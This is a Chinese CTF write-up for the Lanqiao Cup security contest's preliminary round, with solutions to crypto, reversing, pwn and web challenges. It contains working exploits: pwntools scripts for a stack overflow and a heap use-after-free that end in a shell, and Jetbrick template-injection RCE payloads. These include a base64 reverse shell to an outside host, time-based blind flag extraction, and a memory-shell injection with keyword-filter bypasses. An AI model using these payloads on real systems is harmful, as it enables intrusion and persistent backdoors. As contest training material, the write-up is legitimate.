第二届蓝桥杯网络安全春秋赛初赛WP | 风尘孤狼
0%

第二届蓝桥杯网络安全春秋赛初赛WP

第二届蓝桥杯网络安全春秋赛初赛

3197cea16ccf0831836ff470e092d739

情报收集-爬虫协议

访问robots.txt

image-20240629103017910

继续访问/d7cb58d115e476f904f25d90e263749d/

image-20240629103031748

得到flag

flag{72bd8598-12b9-4fa7-87ca-aaf49b5554ba}

数据分析-packet

追踪HTTP,得到密文flag

image-20240629103054543

Base64解码得到flag

flag{7d6f17a4-2b0a-467d-8a42-66750368c249}

数据分析-lose【赛后复现】

压缩包密码爆破之后解压出来,里面有原图片,水印图片,加密算法lose.py

其中lose.py如下

import cv2
import pywt
import np

class WaterMarkDWT:
    def __init__(self, origin: str, watermark: str, key: int, weight: list):
        self.key = key
        self.img = cv2.imread(origin)
        self.mark = cv2.imread(watermark)
        self.coef = weight
 

    def arnold(self, img):
        r, c = img.shape
        p = np.zeros((r, c), np.uint8)
 
        a, b = 1, 1
        for k in range(self.key):
            for i in range(r):
                for j in range(c):  
                    x = (i + b * j) % r
                    y = (a * i + (a * b + 1) * j) % c
                    p[x, y] = img[i, j]
        return p
 
    def deArnold(self, img):
        r, c = img.shape
        p = np.zeros((r, c), np.uint8)
 
        a, b = 1, 1
        for k in range(self.key):
            for i in range(r):
                for j in range(c): 
                        x = ((a * b + 1) * i - b * j) % r
                        y = (-a * i + j) % c
                        p[x, y] = img[i, j]
        return p
 

 
    def get(self, size: tuple = (1200, 1200), flag: int = None):
        img = cv2.resize(self.img, size)
 
        img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
        img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
 
        c = pywt.wavedec2(img2, 'db2', level=3)
        [cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c
 
        d = pywt.wavedec2(img1, 'db2', level=3)
        [dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d
 
        a1, a2, a3, a4 = self.coef
 
        ca1 = (cl - dl) * a1
        ch1 = (cH3 - dH3) * a2
        cv1 = (cV3 - dV3) * a3
        cd1 = (cD3 - dD3) * a4
 
        waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')
        waterImg = np.array(waterImg, np.uint8)
 
        waterImg = self.deArnold(waterImg)
 
        kernel = np.ones((3, 3), np.uint8)
        if flag == 0:
            waterImg = cv2.erode(waterImg, kernel)
        elif flag == 1:
            waterImg = cv2.dilate(waterImg, kernel)
 
        cv2.imwrite('水印.png', waterImg)
        return waterImg


if __name__ == '__main__':
    img = 'a.png'
    waterImg=''
    k = 20
    xs = [0.2, 0.2, 0.5, 0.4]
    W1 = WaterMarkDWT(img, waterImg, k, xs)

调用一下get函数即可,exp如下

if __name__ == '__main__':
    img = 'a.png'
    watermark = 'newImg.png'
    k = 20
    xs = [0.2, 0.2, 0.5, 0.4]
    W1 = WaterMarkDWT(img, watermark, k, xs)
    extracted_watermark = W1.get()
    cv2.imwrite('flag.png', extracted_watermark)
image-20240629104632653

flag{0642820a-44c0-4c7d-a259-68b15aca8840}

密码破解-cc

AES解密,逆一下就行

image-20240629103114350

flag{6500e76e-15fb-42e8-8f29-a309ab73ba38}

密码破解-Theorem

费马分解PQ,正常解RSA即可

from Crypto.Util.number import *



d1=4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566
d2=9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850
e = 65537
n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
c=36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829

p=gmpy2.next_prime(gmpy2.iroot(n,2)[0])
q=n//p
print(p)
print(q)

phi=(p-1)*(q-1)
n=p*q

d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
image-20240629103148899

flag{5f00e1b9-2933-42ad-b4e1-069f6aa98e9a}

密码破解-Signature【赛后复现】

ECDSA椭圆曲线数字签名算法

题目如下

import ecdsa
import random

def ecdsa_test(dA,k):

    sk = ecdsa.SigningKey.from_secret_exponent(
        secexp=dA,
        curve=ecdsa.SECP256k1
    )
    sig1 = sk.sign(data=b'Hi.', k=k).hex()
    sig2 = sk.sign(data=b'hello.', k=k).hex()

    r1 = int(sig1[:64], 16)
    s1 = int(sig1[64:], 16)
    s2 = int(sig2[64:], 16)
    return r1,s1,s2

if __name__ == '__main__':
    n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
    a = random.randint(0,n)
    flag = 'flag{' + str(a) + "}"
    b = random.randint(0,n)
    print(ecdsa_test(a,b))

# (4690192503304946823926998585663150874421527890534303129755098666293734606680, 111157363347893999914897601390136910031659525525419989250638426589503279490788, 74486305819584508240056247318325239805160339288252987178597122489325719901254)

分析

椭圆曲线数字签名算法,它利用椭圆曲线密码学(ECC)对数字签名算法(DSA)进行模拟,其安全性基于椭圆曲线离散对数问题。但是当某些数值相同时会出现一些安全问题。

分析代码可以看出,存在随机数重复使用。具体来说,这段代码中签名的过程中使用了相同的随机数 k 来对不同的消息进行签名。这种情况下,可以通过分析两个相同 k 值对应的消息签名来恢复私钥 dA。

在 ECDSA 中,每次签名过程中都会使用一个随机数 k,以确保生成唯一的签名。然而,如果相同的随机数 k 被重复使用来对不同的消息进行签名,攻击者就有可能通过数学分析和推导计算出私钥 dA。

考察的是椭圆曲线中的签名整数k相同的攻击利用方式

sig1 = sk.sign(data=b'Hi.', k=k).hex()
sig2 = sk.sign(data=b'hello.', k=k).hex()

sig1和sig2的k相同,r也是用的相同的r1,同时由sig1和sig2生成对应的s1和s2

s1 = int(sig1[64:], 16)
s2 = int(sig2[64:], 16)

可以得到以下公式来得到k

s1 = k^-1 (z1 + rda) mod n
s2 = k^-1 (z2 + rda) mod n
s1 - s2 = k^-1 (z1 - z2) mod n
K = (s1-s2)^-1 * (z1 -z2) mod n

exp如下

1

from gmpy2 import *
from Crypto.Util.number import *
from hashlib import *

n= 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
r2 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254
 
z1 = sha1(b'Hi.').digest()
z2 = sha1(b'hello.').digest()
s1_1 = inverse(s1, n)
s2_1 = inverse(s2, n)

def check(key):
    for i in range(len(key)):
        if key[i] < 32 or key[i] > 127:
            return 0
    return 1
 
x = (s2_1*bytes_to_long(z2) - s1_1*bytes_to_long(z1))%n
key = x*inverse(s1_1*r1-s2_1*r2, n)%n

print(key)

2

import sympy
from hashlib import sha1
from Cryptodome.Util.number import long_to_bytes , bytes_to_long
 
 
def calculate_private_key(r1, s1, s2, h1, h2, n):
    # 计算k值
    k = ((h1 - h2) * sympy.mod_inverse(s1 - s2, n)) % n
    # 计算私钥dA
    dA = (sympy.mod_inverse(r1, n) * (k * s1 - h1)) % n
    return dA
 
 
 
if __name__ == "__main__":
    # 定义椭圆曲线的参数
    n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
    # 签名中的r1, s1, s2值
    r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
    s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
    s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254
    h1 = bytes_to_long(sha1(b'Hi.').digest())
    h2 = bytes_to_long(sha1(b'hello.').digest())
    private_key = calculate_private_key(r1, s1, s2, h1, h2, n)
    print(f'flag{{{private_key}}}')

flag{40355055231406097504270940121798355439363616832290875140843417522164091270174}

逆向分析- rc4

法一

打断点即可得到flag

image-20240629103219210 image-20240629103230103

flag{12601b2b-2f1e-468a-ae43-92391ff76ef3}

法二

正常逆向分析

image-20240629104851207

找到密文数组v5,h改成十六进制,shift+e复制出来,以及密钥gamelab@,rc4是对称加密,s_box是根据密钥来打乱的

exp如下

key = 'gamelab@'
v5 = 42*[0]
v5[0] = 0xB6
v5[1] = 0x42
v5[2] = 0xB7
v5[3] = 0xFC
v5[4] = 0xF0
v5[5] = 0xA2
v5[6] = 0x5E
v5[7] = 0xA9
v5[8] = 0x3D
v5[9] = 0x29
v5[10] = 0x36
v5[11] = 0x1F
v5[12] = 0x54
v5[13] = 0x29
v5[14] = 0x72
v5[15] = 0xA8
v5[16] = 0x63
v5[17] = 0x32
v5[18] = 0xF2
v5[19] = 0x44
v5[20] = 0x8B
v5[21] = 0x85
v5[22] = 0xEC
v5[23] = 0xD
v5[24] = 0xAD
v5[25] = 0x3F
v5[26] = 0x93
v5[27] = 0xA3
v5[28] = 0x92
v5[29] = 0x74
v5[30] = 0x81
v5[31] = 0x65
v5[32] = 0x69
v5[33] = 0xEC
v5[34] = 0xE4
v5[35] = 0x39
v5[36] = 0x85
v5[37] = 0xA9
v5[38] = 0xCA
v5[39] = 0xAF
v5[40] = 0xB2
v5[41] = 0xC6
for num in v5:
    print(hex(num),end="")



def rc4(key, text):
    S = list(range(256))
    j = 0
    out = []

    # KSA Phase
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    # PRGA Phase
    i = j = 0
    for char in text:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(char ^ S[(S[i] + S[j]) % 256])
    
    return out

# 密钥和密文
key = 'gamelab@'
encrypted_text = v5

# 将字符串密钥转换为字节列表
key_bytes = [ord(char) for char in key]

# 解密
decrypted_bytes = rc4(key_bytes, encrypted_text)

# 将解密后的字节转换为字符串
decrypted_text = ''.join(chr(byte) for byte in decrypted_bytes)
print("Decrypted text:", decrypted_text)

flag{12601b2b-2f1e-468a-ae43-92391ff76ef3}

逆向分析-欢乐时光【赛后复现】

加密是魔改xxtea变种,修改了加密的轮数,下面代码中的参数v9:

__int64 __fastcall cry(_DWORD *a1, int a2, __int64 a3)
{
  unsigned int *v3; // rax
  _DWORD *v4; // rax
  __int64 result; // rax
  unsigned int v6; // [rsp+20h] [rbp-18h]
  unsigned int v7; // [rsp+24h] [rbp-14h]
  unsigned int i; // [rsp+28h] [rbp-10h]
  int v9; // [rsp+2Ch] [rbp-Ch]
  int v10; // [rsp+30h] [rbp-8h]
  unsigned int v11; // [rsp+34h] [rbp-4h]

  v9 = 415 / a2 + 114;
  v7 = 0;
  v6 = a1[a2 - 1];
  do
  {
    v7 -= 0x61C88647;
    v10 = (v7 >> 2) & 3;
    for ( i = 0; i < a2 - 1; ++i )
    {
      v11 = a1[i + 1];
      v3 = &a1[i];
      *v3 += ((v11 ^ v7) + (v6 ^ *(_DWORD *)(4LL * (v10 ^ i & 3) + a3))) ^ (((4 * v11) ^ (v6 >> 5))
                                                                          + ((v11 >> 3) ^ (16 * v6)));
      v6 = *v3;
    }
    v4 = &a1[a2 - 1];
    *v4 += ((*a1 ^ v7) + (v6 ^ *(_DWORD *)(4LL * (v10 ^ i & 3) + a3))) ^ (((4 * *a1) ^ (v6 >> 5))
                                                                        + ((*a1 >> 3) ^ (16 * v6)));
    result = (unsigned int)*v4;
    v6 = result;
    --v9;
  }
  while ( v9 );
  return result;
}

直接逆向解密

#include <stdio.h>  
#include <stdint.h>  
#define DELTA 0x9e3779b9  
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  
  
void btea(uint32_t *v, int n, uint32_t const key[4])  
{  
    uint32_t y, z, sum;  
    unsigned p, rounds, e;  
    if (n > 1)            
    {  
        rounds = 6 + 52/n;  
        sum = 0;  
        z = v[n-1];  
        do  
        {  
            sum += DELTA;  
            e = (sum >> 2) & 3;  
            for (p=0; p<n-1; p++)  
            {  
                y = v[p+1];  
                z = v[p] += MX;  
            }  
            y = v[0];  
            z = v[n-1] += MX;  
        }  
        while (--rounds);  
    }  
    else if (n < -1) 
    {  
        n = -n;  
        rounds = 114 + 415/n;  
        sum = rounds*DELTA;  
        y = v[0];  
        do  
        {  
            e = (sum >> 2) & 3;  
            for (p=n-1; p>0; p--)  
            {  
                z = v[p-1];  
                y = v[p] -= MX;  
            }  
            z = v[n-1];  
            y = v[0] -= MX;  
            sum -= DELTA;  
        }  
        while (--rounds);  
    }  
}  
  
int main()  
{  
    uint32_t v[]= {1208664588, 3465558002, 2350981144, 244490637, 2751681140, 611560113, 2851068760, 2771174856, 3828534097, 3494810147, 1875931283, 0};  
    uint32_t const k[4]= {2036950869, 1731489644, 1763906097, 1600602673};  
    int n = 11;

    btea(v, -n, k);
    for(int i = 0; i < sizeof(v); i++)
    {
       printf("%d, ", ((char *)v)[i]);
   }
    puts((char *)v);
    
    return 0;  
}

漏洞挖掘分析- fd

查看主函数,read函数存在溢出

image-20240629103251054

发现sh被过滤了

image-20240629103304891

构造$0,用exec 1>&0改重定向就能看到cat flag内容,脚本如下

# -*- coding:UTF-8 -*- #
"""
@filename:1111111.py
@auther:故里
@time:2024--27
"""
from pwn import *
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()

context(os='linux', arch='amd64', log_level='debug')
p = remote('47.93.142.240', 43042)
rl("restricted stack.\n")
pay=b'$0'
s(pay)

rl("...\n")
pay=b'a'*0x28+p64(0x0000000000400933)+p64(0x601090)+p64(0x400778)
s(pay)

pause()
sl(b'exec 1>&0')

inter()
image-20240629103328343

flag{a17f8090-9cf3-452d-bda3-a432a25fe1ff}

漏洞挖掘分析- ezheap

堆溢出,存在uaf漏洞,利用Fastbin reverse into tcache 改末字节可以申请回来一个重叠堆块利用这个堆块改size,造一个大堆块,布置好堆块,然后free进unsorted bin,之后再次利用这个堆块,改堆块的fd即可申请回来free hook,改为system

from pwn import *


def print_orange(text):
    print('\x1b[01;38;5;214m' + text + '\x1b[0m')

def print_red(text):
    print('\x1b[01;38;5;1m' + text + '\x1b[0m')


def send(data):
    p.send(data)

def send_after(delimiter, data):
    p.sendafter(delimiter, data)

def send_line(data):
    p.sendline(data)

def send_line_after(delimiter, data):
    p.sendlineafter(delimiter, data)

def receive():
    return p.recv()

def print_receive():
    print(p.recv())

def receive_until(delimiter):
    return p.recvuntil(delimiter)

def interact():
    p.interactive()

def attach_gdb():
    gdb.attach(p)
    pause()

def fetch_address():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def compute_system_binsh():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


context(os='linux', arch='amd64', log_level='debug')
p = remote('47.93.142.153', 16847)
libc = ELF('./libc.so.6')


def allocate(content):
    receive_until("4.exit\n")
    send_line(str(1))
    sleep(0.2)
    send(content)

def free(index):
    receive_until("4.exit\n")
    send_line(str(2))
    sleep(0.2)
    send_line(str(index))

def display(index):
    receive_until("4.exit\n")
    send_line(str(3))
    sleep(0.2)
    send_line(str(index))

def hack(index):
    receive_until("4.exit\n")
    # attach_gdb()
    send_line(str(0x202405))
    sleep(0.5)
    send_line(str(index))


allocate(b'\x00' * 0x38 + p64(0x61))
allocate(b'\x00' * 0x28 + p64(0x61))
for i in range(12):
    allocate(b'a')
for i in range(7):
    free(i + 2)  # Indices 2-8
free(9)
free(10)
hack(0)
free(1)
free(0)
for i in range(7):
    allocate(b'a')  # Indices 0, 1, 2, 6

allocate(b'\x30')  # Index 8
allocate(b'a')  # Index 9
allocate(b'a')  # Index 10
allocate(b'\x00' * 0x28 + p64(0x421))  # Index 11

free(6)
allocate(b'a')
display(6)


libc_base = fetch_address() - 0x1ecf61
print_orange(hex(libc_base))


free_hook = libc_base + libc.sym['__free_hook']
print_orange(hex(free_hook))
system, bin_sh = compute_system_binsh()


free(11)
free(6)
free(10)
allocate(b'\x00' * 0x28 + p64(0x61) + p64(free_hook))

allocate(b'/bin/sh\x00')
allocate(p64(system))
free(10)


interact()
image-20240629103408879

flag{08a7692d-d905-45ee-a0b9-b6667b9976ea}

漏洞挖掘分析-ezjava【赛后复现】

反编译审计源码

image-20240629113010496
@Controller
/* loaded from: ezjava.jar:BOOT-INF/classes/ctf/construction/ezjava/controller/IndexController.class */
public class IndexController {
    @RequestMapping(value = {"/"}, method = {RequestMethod.GET})
    @ResponseBody
    public String index() {
        return "Index";
    }

    @RequestMapping(value = {"/"}, method = {RequestMethod.POST})
    @ResponseBody
    public String render_tmp(@RequestParam String str) {
        if (str.contains("new") || str.contains(GroovyTemplateProperties.DEFAULT_REQUEST_CONTEXT_ATTRIBUTE) || str.contains("Class") || str.contains("UNIXProcess") || str.contains("ProcessBuilder") || str.contains("Runtime")) {
            return "NO RCE";
        }
        JetTemplate template = JetEngine.create().createTemplate(str);
        StringWriter out = new StringWriter();
        template.render((Map<String, Object>) null, out);
        System.out.println(out.toString());
        return "RCE";
    }
}

目的就是RCE,POST传参/,str传参就会进入功能点,也就是漏洞点,过滤了一些危险字符

(str.contains("new") || str.contains(GroovyTemplateProperties.DEFAULT_REQUEST_CONTEXT_ATTRIBUTE) || str.contains("Class") || str.contains("UNIXProcess") || str.contains("ProcessBuilder") || str.contains("Runtime"))

如果str中不包含上述敏感关键字,代码将使用JetTemplate引擎创建一个模板,其中模板的内容由str提供。使用StringWriter作为输出缓冲区来收集模板的输出结果。模板被渲染(可能包含动态数据),并且结果被打印到控制台。

方法返回"RCE"作为响应,暗示已经进行了某种形式的远程代码执行(尽管通过安全检查意图是阻止实际的危险执行),也就是说无回显RCE.

攻击思路就是模板渲染导致模板注入->RCE,对于出网可以考虑外带或者反弹shell,不出网就要考虑报错外带数据。

java执行命令就是${xxx}即可

## 函数调用 function

`jetbrick-template` 还支持函数调用,如 `${now()}`, `${fileGet("/test.txt")}`。

法一

在jetbrick.util.ShellUtils找到内置的shell方法

image-20240629114238925
public static Result shell(String command, File directory, Map<String, String> envp) {
    if (SystemUtils.IS_OS_WINDOWS) {
        return execute(directory, envp, "cmd.exe", "/c", command);
    }
    return execute(directory, envp, "/bin/sh", "-c", command);
}

所以调用这个内置shell的话就是以下命令

${jetbrick.util.ShellUtils::shell('id')}
image-20240629114521275

可以看到成功执行并在控制台输出结果,但是前端无回显如何来接受执行结果需要思考一下,调用powershell通过读取flag每一个字符正确与否通过时间来判断正确,payload如下

${jetbrick.util.ShellUtils::shell('powershell -Command "if((Get-Content d:/flag.txt)[0] -eq \'f\'){ sleep(1) } else { exit 1 }"')}
image-20240629125720288

脚本如下【先放这里,凡是脚本有点问题,奈何python学的一塌糊涂,脚本中的payload中shell('powershell 这地方传值的时候会加上转义符\,导致payload报错,后续想办法改一下代码转义符去掉就可以正常了】

import requests
import string
import time


burp0_url = "http://192.168.3.11:80/"
burp0_headers = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Origin": "http://127.0.0.1",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Referer": "http://127.0.0.1/",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "sec-ch-ua": "\"Not/A)Brand\";v=\"8\", \"Chromium\";v=\"126\", \"Google Chrome\";v=\"126\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"Windows\"",
    "sec-fetch-site": "same-origin",
    "sec-fetch-mode": "navigate",
    "sec-fetch-user": "?1",
    "sec-fetch-dest": "document",
    "Connection": "close"
}

# 循环遍历文本的每个位置
for i in range(42):  
    for char in string.ascii_letters + string.digits:  # 测试所有字母和数字
        burp0_data = {
            "str": f"${{jetbrick.util.ShellUtils::shell('powershell -Command \"if((Get-Content d:/flag.txt)[{i}] -eq \"{char}\"){{ sleep(1) }} else {{ exit 1 }}\"')}}"

        }
        print(burp0_data)
        try:
            start_time = time.time()  # 记录请求开始时间
            response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
            elapsed_time = time.time() - start_time  # 计算请求响应时间

            if elapsed_time > 0.5:  # 如果响应时间大于1秒,则认为找到了正确的字符
                print(f"Character '{char}' at position {i} is correct.")
                break  # 找到正确字符后跳出内层循环
            else:
                print(f"Testing position {i} with character '{char}': Response time {elapsed_time} seconds")
        except requests.exceptions.RequestException as e:
            print(f"Request failed: {e}")

有个师傅是直接用的python语法来盲注的,脚本也放一下,万一以后能用到呢

import os;b=os.popen('cat /*').read()[0];import time;time.sleep((b=='?')*3)

exp如下

import requests
import string
import base64
flag=''
index=0
#url="http://eci-2ze656jixu9mjq8i5o03.cloudeci1.ichunqiu.com:8888"
url="http://localhost"
d=[chr(i) for i in range(0x20,0x80)]
d=string.printable
while 1:
    for i in d:
        exp=("import os;b=os.popen('cat /*').read()["+str(index)+"];import time;time.sleep((b=='"+i+"')*3)").encode()
        exp=base64.b64encode(exp).decode()
        payload={"str":"${jetbrick.util.ShellUtils::shell(\"s="+exp+";s=`echo $s|base64 -d`;echo $s|python3\")}"}
        req=requests.post(url=url,data=payload)
        if req.status_code==504:
            index+=1
            flag+=i
            print(flag)
            break
    if i==string.printable[-1]:
        break
print("should be done")
print(flag)

法二

打内存马

针对上边被过滤的字符可以通过+来绕过

eg:
new  --> ne"%2b"w

构造payload

jetbrick.template.JetEngine
image-20240629121310150
public final class JetEngineImpl extends JetEngine
image-20240629121357005
@Override // jetbrick.template.JetEngine
public JetTemplate createTemplate(String source) {
    return createTemplate(SourceResource.DEFAULT_NAME, source);
}

调用这个,所以初步构造的payload如下

str=a=${jetbrick.template.JetEngine::create().createTemplate("").render({},java.lang.System::out)};

出网情况的反弹shell的payload如下

java.lang.Runtime.getRuntime().exec(…)

.render({}, java.lang.System::out): 将模板渲染的结果输出到系统控制台。

str=a=${jetbrick.template.JetEngine::create().createTemplate("${java.lang.Run"%2b"time::getRu"%2b"ntime().exec('bash-c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMS4xLjEuMS8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}')}").render({},java.lang.System::out)};

有个师傅写了打内存马的payload模板

#T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}

简化后:

T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

内存马用jMG-gui-obf-1.0.8.jar生成即可,最终payload如下

str=a=${jetbrick.template.JetEngine::create().createTemplate("${ne"%2b"w+org.spr"%2b"ingframework.expression.spel.standard.SpelExpressionParser().parseExpression('T(org.spr'%2b'ingframework.cglib.core.ReflectUtils).defineCla'%2b'ss(\\'InceptorMemShell\\',T(org.spr'%2b'ingframework.util.Base64Utils).decodeFromString(\\'yv66.......\\'),T(java.lang.Thread).currentThread().getContextCl'%2b'assLoader()).n'%2b'ewInstance()').getValue()}").render({},java.lang.System::out)};
image-20240629121833503

参考

https://forum.butian.net/share/2483

好文章

好文章

制作不易,如若感觉写的不错,欢迎打赏